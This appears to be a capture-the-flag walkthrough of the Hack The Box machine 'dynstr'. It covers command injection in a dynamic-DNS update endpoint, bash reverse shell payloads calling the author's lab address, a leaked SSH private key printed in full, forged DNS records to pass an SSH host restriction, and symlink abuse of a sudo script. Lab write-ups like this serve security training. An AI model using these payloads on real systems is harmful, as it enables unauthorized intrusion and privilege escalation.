Name | dynstr | |
Difficulty | Medium | |
Release Date | 2021-06-12 | |
Retired Date | <don’t know> | |
IP Address | 10.10.10.244 | |
OS | Linux | |
Points | 30 |
The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.
foothold
So, on this part, there’s really nothing new, we start with nmap
:
# Nmap 7.80 scan initiated Mon Jun 14 08:53:50 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.244
Nmap scan report for 10.10.10.244
Host is up (0.048s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 14 08:54:22 2021 -- 1 IP address (1 host up) scanned in 32.76 seconds
Very little information returned. Not too much services, and they even run on all the standard ports. I decided to jump right into the website.
So, a small website advertising a service like dyndns (name checks out at least π), and it uses the same API as no-ip.com. For the moment, the service is still in beta with the following credentials:
- user:
dynadns
- pass:
sndanyd
Also, the available domains are (I supposed to register a domain to use):
- dnsalias.htb
- dynamicdns.htb
- no-ip.htb
Looks like a good start to me. Now we need to check out the no-ip.com API to see how we can use the service. Meanwhile, and while searching for the API, let’s fire up a gobuster
just in case:
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ gobuster dir -u http://dynstr.htb -w /usr/share/dirb/big.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.244
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/06/14 09:31:06 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/nic (Status: 301)
/server-status (Status: 403)
===============================================================
2021/06/14 09:32:57 Finished
===============================================================
The only thing out of the ordinary is the /nic
endpoint, which is actually part of the API.
To make a quick resume of the API, there’s only one endpoint to it: /nic/update
. This endpoint accepts several GET parameters:
hostname
: the domain address to updatemyip
: the IP address it should update to. (optional)myipv6
: same asmyip
but for IPv6 (optional)offline
: sets the hostname to offline (optional)
After searching a little more of the website, and having found nothing, I thought that this should be the “entrance” to the box, so I decided to start tinkering with the parameters to check if I could inject something:
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" "http://dynstr.htb/nic/update?hostname=r3pek.no-ip.htb"
badauth
Ooops π! Forgot the auth π
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek.no-ip.htb"
good 10.10.14.240
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek.evil-no-ip.htb"
911 [wrngdom: evil-no-ip.htb]
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb"
good 10.10.14.240
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ nslookup
> server dynstr.htb
Default server: dynstr.htb
Address: 10.10.10.244#53
> r3pek.no-ip.htb
Server: dynstr.htb
Address: 10.10.10.244#53
Name: r3pek.no-ip.htb
Address: 10.10.14.240
> r3pek2.no-ip.htb
Server: dynstr.htb
Address: 10.10.10.244#53
Name: r3pek2.no-ip.htb
Address: 10.10.14.240
Looks like we can create an arbitrary number of DNS entries with that credentials. Also, trying to update something not in the domains listed as supported returns 911 [wrngdom: <domain>]
, so the endpoint does have some kind of protection.
Seeing that the only returned data that I inserted was the IP address, I tried to fiddle with it:
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb&myip=1.1.1.1"
good 1.1.1.1
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" "http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb&myip=1.1.1.'1"
good 10.10.14.240
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb&myip=$(echo 1)'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
Hummm this is interesting… π€ maybe I can use some kind of command injection into this. In this cases, I normally start trying to run a sleep
command remotely and once I got it, I know I have command injection and is just a matter of tweaking a little to make it go through the webserver parsing and, hopefully, any protection the underlying layer has.
After some trial and error I finally got it! (this are not actually all my tries, just a small sample)
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=r3pek2.no-ip.htb`sleep 5`'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
real 0m0.117s
user 0m0.003s
sys 0m0.005s
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=`sleep 5`r3pek.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
real 0m0.118s
user 0m0.004s
sys 0m0.004s
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=`sleep 5`;r3pek.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
real 0m0.116s
user 0m0.006s
sys 0m0.002s
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ time curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(sleep%205)r3pek.no-ip.htb'
good 10.10.14.240
real 0m10.125s
user 0m0.006s
sys 0m0.003s
So a valid hostname
for a command injection is $(sleep%205)r3pek.no-ip.htb'
. There’s just one small problem, I’m actually sleeping 10s π?! Hope that doesn’t interfere with a reverse shell injection. Let’s try the standard bash
one:
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(bash -c "exec bash -i &>/dev/tcp/10.10.14.240/5555 <&1")r3pek
.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(bash -c "bash%20-i%20&>/dev/tcp/10.10.14.240/5555%20<&1")r3pe
k.no-ip.htb'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ curl -H "Host: no-ip.htb" 'http://dynadns:sndanyd@dynstr.htb/nic/update?hostname=$(bash%20-i%20&>/dev/tcp/10.10.14.240/5555%20<&1)r3pek.no-ip.ht
b'
911 [wrngdom: ]
Ah bummer… Maybe the problem is too many symbols in the command and it breaks something. Let’s see if base64 encoding helps:
Ah! Bingo!
user flag
Now to get the user flag we need to find it:
www-data@dynstr:/var/www/html/nic$ find /home -iname "user.txt"
find /home -iname "user.txt"
find: '/home/bindmgr/.cache': Permission denied
/home/bindmgr/user.txt
find: '/home/dyna/.cache': Permission denied
Flag is in the user bindmgr
, so we need to figure out a way to escalate to that user. Let’s see what we can find with the access we have (www-data
):
www-data@dynstr:/var/www/html/nic$ ls -lha
ls -lha
total 12K
drwxr-xr-x 2 root root 4.0K Mar 13 19:40 .
drwxr-xr-x 4 root root 4.0K Mar 20 10:00 ..
-rw-r--r-- 1 root root 0 Mar 12 19:41 index.html
-rw-r--r-- 1 root root 1.1K Mar 13 19:40 update
www-data@dynstr:/var/www/html/nic$ cd ..
cd ..
www-data@dynstr:/var/www/html$ ls -lha
ls -lha
total 32K
drwxr-xr-x 4 root root 4.0K Mar 20 10:00 .
drwxr-xr-x 3 root root 4.0K Mar 15 20:14 ..
drwxr-xr-x 6 root root 4.0K Mar 13 11:34 assets
-rw-r--r-- 1 root root 280 Mar 12 19:14 attribution.txt
-rw-r--r-- 1 root root 11K Mar 13 11:34 index.html
drwxr-xr-x 2 root root 4.0K Mar 13 19:40 nic
www-data@dynstr:/var/www/html$ cat nic/update
cat nic/update
<?php
// Check authentication
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) { echo "badauth\n"; exit; }
if ($_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']!=='dynadns:sndanyd') { echo "badauth\n"; exit; }
// Set $myip from GET, defaulting to REMOTE_ADDR
$myip = $_SERVER['REMOTE_ADDR'];
if ($valid=filter_var($_GET['myip'],FILTER_VALIDATE_IP)) { $myip = $valid; }
if(isset($_GET['hostname'])) {
// Check for a valid domain
list($h,$d) = explode(".",$_GET['hostname'],2);
$validds = array('dnsalias.htb','dynamicdns.htb','no-ip.htb');
if(!in_array($d,$validds)) { echo "911 [wrngdom: $d]\n"; exit; }
// Update DNS entry
$cmd = sprintf("server 127.0.0.1\nzone %s\nupdate delete %s.%s\nupdate add %s.%s 30 IN A %s\nsend\n",$d,$h,$d,$h,$d,$myip);
system('echo "'.$cmd.'" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key',$retval);
// Return good or 911
if (!$retval) {
echo "good $myip\n";
} else {
echo "911 [nsupdate failed]\n"; exit;
}
} else {
echo "nochg $myip\n";
}
?>
www-data@dynstr:/var/www/html$
The webserver root doesn’t have much stuff in it, but now we can see why the command injection worked. The update
endpoint is actually a PHP file and it’s executing the system()
function to call nsupdate
command and create (deleting it before if it existed) the domain we requested on the hostname
parameter. This might come in handy so let’s just save it for later.
Let’s check bindmgr
home folder now:
www-data@dynstr:/var/www/html$ cd /home/bindmgr
cd /home/bindmgr
www-data@dynstr:/home/bindmgr$ ls -lha
ls -lha
total 36K
drwxr-xr-x 5 bindmgr bindmgr 4.0K Mar 15 20:39 .
drwxr-xr-x 4 root root 4.0K Mar 15 20:26 ..
lrwxrwxrwx 1 bindmgr bindmgr 9 Mar 15 20:29 .bash_history -> /dev/null
-rw-r--r-- 1 bindmgr bindmgr 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bindmgr bindmgr 3.7K Feb 25 2020 .bashrc
drwx------ 2 bindmgr bindmgr 4.0K Mar 13 12:09 .cache
-rw-r--r-- 1 bindmgr bindmgr 807 Feb 25 2020 .profile
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 12:09 .ssh
drwxr-xr-x 2 bindmgr bindmgr 4.0K Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Jun 15 16:28 user.txt
www-data@dynstr:/home/bindmgr$ cd support-case-C62796521
cd support-case-C62796521
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls
ls
C62796521-debugging.script
C62796521-debugging.timing
command-output-C62796521.txt
strace-C62796521.txt
www-data@dynstr:/home/bindmgr/support-case-C62796521$
This looks interesting π€
www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat command-output-C62796521.txt
<rt-case-C62796521$ cat command-output-C62796521.txt
* Expire in 0 ms for 6 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 0 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 1 ms for 1 (transfer 0x56090d2d1fb0)
* Expire in 2 ms for 1 (transfer 0x56090d2d1fb0)
* Trying 192.168.178.27...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x56090d2d1fb0)
* Connected to sftp.infra.dyna.htb (192.168.178.27) port 22 (#0)
* SSH MD5 fingerprint: c1c2d07855aa0f80005de88d254a6db8
* SSH authentication methods available: publickey,password
* Using SSH public key file '/home/bindmgr/.ssh/id_rsa.pub'
* Using SSH private key file '/home/bindmgr/.ssh/id_rsa'
* SSH public key authentication failed: Callback returned error
* Failure connecting to agent
* Authentication failure
* Closing connection 0
A support case for a SSH session that’s failing? Let’s check the other files. The strace-C62796521.txt
file is huge so I won’t add it here (it’s linked), but it’s actual the one we’re interested in. Near the end of the file we can see this:
15123 openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
15123 fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
15123 read(5, "", 4096) = 0
15123 close(5) = 0
This is actually the id_rsa
, the private key file for the bindmgr
user! If it is on the authorized_keys
file we’re golden!
www-data@dynstr:/home/bindmgr/support-case-C62796521$ cd ../.ssh
cd ../.ssh
www-data@dynstr:/home/bindmgr/.ssh$ cat authorized_keys
cat authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
Good news is, the key is there. Bad news is the connection has to come from an .infra.dyna.htb
domain. My first reaction was to check if that domain was hosted on this server:
www-data@dynstr:/home/bindmgr/.ssh$ ls /etc/bind -lh
ls /etc/bind -lh
total 60K
-rw-r--r-- 1 root root 2.0K Feb 18 04:28 bind.keys
-rw-r--r-- 1 root root 237 Dec 17 2019 db.0
-rw-r--r-- 1 root root 271 Dec 17 2019 db.127
-rw-r--r-- 1 root root 237 Dec 17 2019 db.255
-rw-r--r-- 1 root root 353 Dec 17 2019 db.empty
-rw-r--r-- 1 root root 270 Dec 17 2019 db.local
-rw-r--r-- 1 root bind 100 Mar 15 20:44 ddns.key
-rw-r--r-- 1 root bind 101 Mar 15 20:44 infra.key
drwxr-sr-x 2 root bind 4.0K Mar 15 20:42 named.bindmgr
-rw-r--r-- 1 root bind 463 Dec 17 2019 named.conf
-rw-r--r-- 1 root bind 498 Dec 17 2019 named.conf.default-zones
-rw-r--r-- 1 root bind 969 Mar 15 20:46 named.conf.local
-rw-r--r-- 1 root bind 895 Mar 15 20:46 named.conf.options
-rw-r----- 1 bind bind 100 Mar 15 20:14 rndc.key
-rw-r--r-- 1 root root 1.3K Dec 17 2019 zones.rfc1918
www-data@dynstr:/home/bindmgr/.ssh$ cat /etc/bind/named.conf
cat /etc/bind/named.conf
// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the
// structure of BIND configuration files in Debian, *BEFORE* you customize
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
www-data@dynstr:/home/bindmgr/.ssh$ cat /etc/bind/named.conf.local
cat /etc/bind/named.conf.local
//
// Do any local configuration here
//
// Add infrastructure DNS updates.
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "168.192.in-addr.arpa" IN { type master; file "168.192.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
// Enable DynDNS updates to customer zones.
include "/etc/bind/ddns.key";
zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
// *** WORK IN PROGRESS, see bindmgr.sh ***
// include "/etc/bind/named.conf.bindmgr";
Looks like it is, and it actually is “updatable” via nsupdate and using /etc/bind/infra.key
as a key. So, we the help of the update
PHP script from before, and this new information, we can create our own record pointing to our IP address and be able to login because we come from a valid domain. Let’s not forget, and I did help lots of people on the HTB Discord server, is that sshd
doesn’t “know” the connecting party is something.infra.dyna.htb
, it only sees and IP address, in this case it will be 10.10.14.240. For sshd
to know who is 10.10.14.240, it issues a “reverse DNS” request to the DNS server, which in fact is just asking for a translation from 10.10.14.240 to a domain (the inverse of the “normal” DNS request). For that to work, besides adding the “normal” A DNS record, we need to add a PTR DNS record that points to something.infra.dyna.htb
. So, let’s put all this in pratice:
www-data@dynstr:/home/bindmgr$ printf "server 127.0.0.1\nzone dyna.htb\nupdate delete r3pek.infra.dyna.htb\nupdate add r3pek.infra.dyna.htb 30 IN A 10.10.14.240\nsend\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
<\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
www-data@dynstr:/home/bindmgr$ printf "server 127.0.0.1\nzone 10.in-addr.arpa\nupdate delete 240.14.10.10.in-addr.arpa\nupdate add 240.14.10.10.in-addr.arpa 30 IN PTR r3pek.infra.dyna.htb.\nsend\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
<\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
www-data@dynstr:/home/bindmgr$
β οΈ Notice how the PTR record is inserted with the IP address in reverse and points to the DNS entry we created before.
ββ[r3pek]-[~/CTF/HTB/Machines/dynstr]
ββ$ ssh -i bindmgr-id_rsa bindmgr@10.129.160.221
Last login: Wed Jun 16 02:31:15 2021 from r3pek.infra.dyna.htb
bindmgr@dynstr:~$ cat user.txt
397287bc2f79718d323a3ec0eef340d6
bindmgr@dynstr:~$
user flag accomplished ;)
root flag
Let’s start with checking what can we run as root
:
bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
bindmgr@dynstr:~$ cat /usr/local/bin/bindmgr.sh
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
bindmgr@dynstr:~$
So, we’re entitled to run this /usr/local/bin/bindmgr.sh
script that basically copies every file on the current directory into /etc/bind/named.bindmgr
and creates /etc/bind/named.conf.bindmgr
which will include
all the files we copied so that it can be easily included
from the main /etc/bind/named.conf
config file.
OK OK I get it, sysadmin was lazy. So let’s just see how this works:
bindmgr@dynstr:~$ mkdir test
bindmgr@dynstr:~/test$ cd test
bindmgr@dynstr:~/test$ echo test > file1
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr.
[-] ERROR: Check versioning. Exiting.
bindmgr@dynstr:~/test$ echo 2 > .version
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/file1:1: unknown option 'test'
/etc/bind/named.conf.bindmgr:3: unexpected token near end of file
bindmgr@dynstr:~/test$ ls /etc/bind/named.bindmgr -lha
total 16K
drwxr-sr-x 2 root bind 4.0K Jun 16 02:42 .
drwxr-sr-x 3 root bind 4.0K Jun 16 02:42 ..
-rw-r--r-- 1 root bind 5 Jun 16 02:42 file1
-rw-r--r-- 1 root bind 2 Jun 16 02:42 .version
So, files were copied over and are now all owned by root, as expected. So what happens if a file is actually a link?! π€
bindmgr@dynstr:~/test$ rm file1
bindmgr@dynstr:~/test$ ln -s /root/root.txt
bindmgr@dynstr:~/test$ ls -lh
total 0
lrwxrwxrwx 1 bindmgr bindmgr 14 Jun 16 02:43 root.txt -> /root/root.txt
bindmgr@dynstr:~/test$ cat root.txt
cat: root.txt: Permission denied
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/root.txt:1: unknown option '350e23eb5cc5fbe1199876105561a1...'
/etc/bind/named.conf.bindmgr:3: unexpected token near end of file
AAAHHHHH π !! We almost got it. There’s 2 missing characters on the flag. But wait, what if it’s actually the .version
file that is pointing to the flag?
bindmgr@dynstr:~/test$ rm root.txt .version
bindmgr@dynstr:~/test$ ln -s /root/root.txt .version
bindmgr@dynstr:~/test$ sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr/test.
/usr/local/bin/bindmgr.sh: line 28: [[: 350e23eb5cc5fbe1199876105561a1fe: value too great for base (error token is "350e23eb5cc5fbe1199876105561a1fe")
